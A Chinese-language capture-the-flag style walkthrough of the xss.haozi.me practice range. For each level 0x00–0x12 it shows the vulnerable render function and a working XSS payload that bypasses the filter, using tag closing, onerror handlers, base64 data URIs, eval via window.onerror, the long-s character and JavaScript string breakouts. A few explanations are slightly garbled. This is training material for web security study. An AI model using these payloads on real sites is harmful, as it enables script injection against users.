文章目录
前言
在网页安全的战场里,跨站脚本攻击(XSS)就像隐藏在代码海洋中的暗礁 —— 它可能藏在一个看似无害的输入框里,潜伏在一段被精心构造的评论中,甚至伪装成一条正常的 URL。
而 “xss.haozi.me” 的靶场,正是为你还原这场攻防博弈的绝佳训练场。
从最直白的标签注入,到绕过敏感字符过滤的奇思妙想;从利用浏览器特性的巧妙 trick,到玩转编码与转义的底层逻辑。
这里的每一关,都是现实中 XSS 漏洞的缩影,每一个 payload 的背后,都藏着对网页渲染机制的深刻理解。
靶场地址
https://xss.haozi.me/#/
操作步骤:
0X00 直接注入
条件:
function render (input) {
return '<div>' + input + '</div>'
}
前端:
<div></div>
注入:div内嵌脚本会被运行。
<script>alert(1)</script>
0X01 闭合标签1
条件:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
前端:
<textarea></textarea>
注入:textarea内嵌脚本不会运行,但可以先闭合textarea标签。
</textarea><script>alert(1)</script>
0X02 闭合标签2
条件:
function render (input) {
return '<input type="name" value="' + input + '">'
}
前端:
<input type="name" value="">
注入:先闭合标签。
">'<script>alert(1)</script>
0X03 绕过特殊符号1
条件:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
前端:
<!--空-->
注入:使用ES6语法 ` 绕过。
<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpPC9zY3JpcHQ+">
</object>
<!-- ES6语法 `` -->
<script>alert`1`</script>
0X04 绕过特殊符号2
条件:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
前端:
<!--空-->
注入:
- \x 开头表示十六进制编码,281表示 ( ,29表示 ),\x281\x29 表示 (1)
- eval 在 js 中执行表达式,例如:eval(‘alert\x281\x29’) 等同于 alert(1)
- window.onerror 在js错误时调用函数,此处 eval 是调用的函数。
- throw 表示自定义程序异常时被捕获的内容
<script>window.onerror=eval;throw'=alert\x281\x29'</script>
0X05 绕过注释符
条件:
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
前端:
<!--空-->
注入:--!>
效果等同 -->
,可以绕过。
--!><script>alert(1)</script>
0X06 绕过更多符号
条件:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
前端:
<input value=1 type="text">
注入:
- 利用 input 的
type="image" src="xxx"
的属性。 - 使用 onerror 标签触发后面的脚本。
- onerror 后面换行接 =,绕过
on.*=
type=image src onerror
=alert(1)
0X07 绕过更多符号2
条件:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
前端:
<article></article>
注入:选择没有 > 的标签注入。
<IMG SRC='' onerror=alert(1) // 末尾带一个空格
0X08 绕过闭合符号
条件:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
前端:
<style></style>
注入:换行绕过 </style>
符号。
</style
><img src='' onerror=alert(1)>
0X09 绕过URL匹配
条件:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
前端:
<!--空-->
注入:onload 表示加载完成后执行一段脚本。
https://www.segmentfault.com" onload=alert(1)>
0X0A 绕过URL过滤
条件:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
注入:浏览器会解析URL中@后面的网址。(目前仅firefox浏览器可以触发)
https://www.segmentfault.com@xss.haozi.me/j.js
0X0B 绕过大写转换1
条件:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
前端:
<h1></h1>
注入:对 js 使用 html 编码绕过大写转换,js 在 html 代码中,会先进行 html 解码。
<img src="1" onerror="alert(1)">
0X0C 绕过大写转换2
条件:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
前端:
<h1></h1>
注入:过滤了script标签,使用报错弹窗,代码同0X0A。
<img src="1" onerror="alert(1)">
0X0D 绕过注释
条件:替换了单双引号,并且输入内容到注释中。
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
前端:
<script>
// alert('')
</script>html
注入:开头换行,结尾注释掉后面引号。
1
alert(1)
-->
0X0E 古英语绕过
条件:过滤了所有 <
与字母的组合。
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
前端:
<h1></h1>
注入:但是ſ
是古英语,大写后为S
,且其 ascii 值不与 s 相等,因此可以绕过。
<ſcript src="https://xss.haozi.me/j.js"></script>
0X0F JS闭合1
条件:先转义html字符,再进行替换过滤。
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src
onerror="console.error('${escapeHtml(input)}')">`
}
前端:
<img src onerror="console.error('')">
注入: ')
闭合前面内容, ;
结束console语句, \\
注释后面内容。
');alert(1)//
0X10 注入window.data
条件:
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
前端:
<script>
window.data =
</script>
注入:window.data 在 js 脚本中直接注入。
alert(1)
0X11 JS闭合2
条件:添加了很多转义。
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
前端:
<script>
var url = 'javascript:console.log("")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
注入:方法同 0X0F 题目,闭合前面,注释掉后面。
");alert(1)//
0X12 JS闭合3
条件:替换斜杠为反斜杠。
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
前端:
<script>console.log("");</script>
注入:js \
用来指定正则表达式,添加 \
将反斜杠关闭。
\");alert(1)//
本文内容仅用于 Web 安全技术学习与授权测试环境验证,严禁将相关技术用于未授权的系统或网络环境。违反《网络安全法》等法律法规的行为将自行承担法律责任。xss_haozi 靶场为开源安全测试平台,使用时需确保环境隔离。
本文是「安全靶场」系列的第 4 篇,点击专栏导航查看全部系列内容。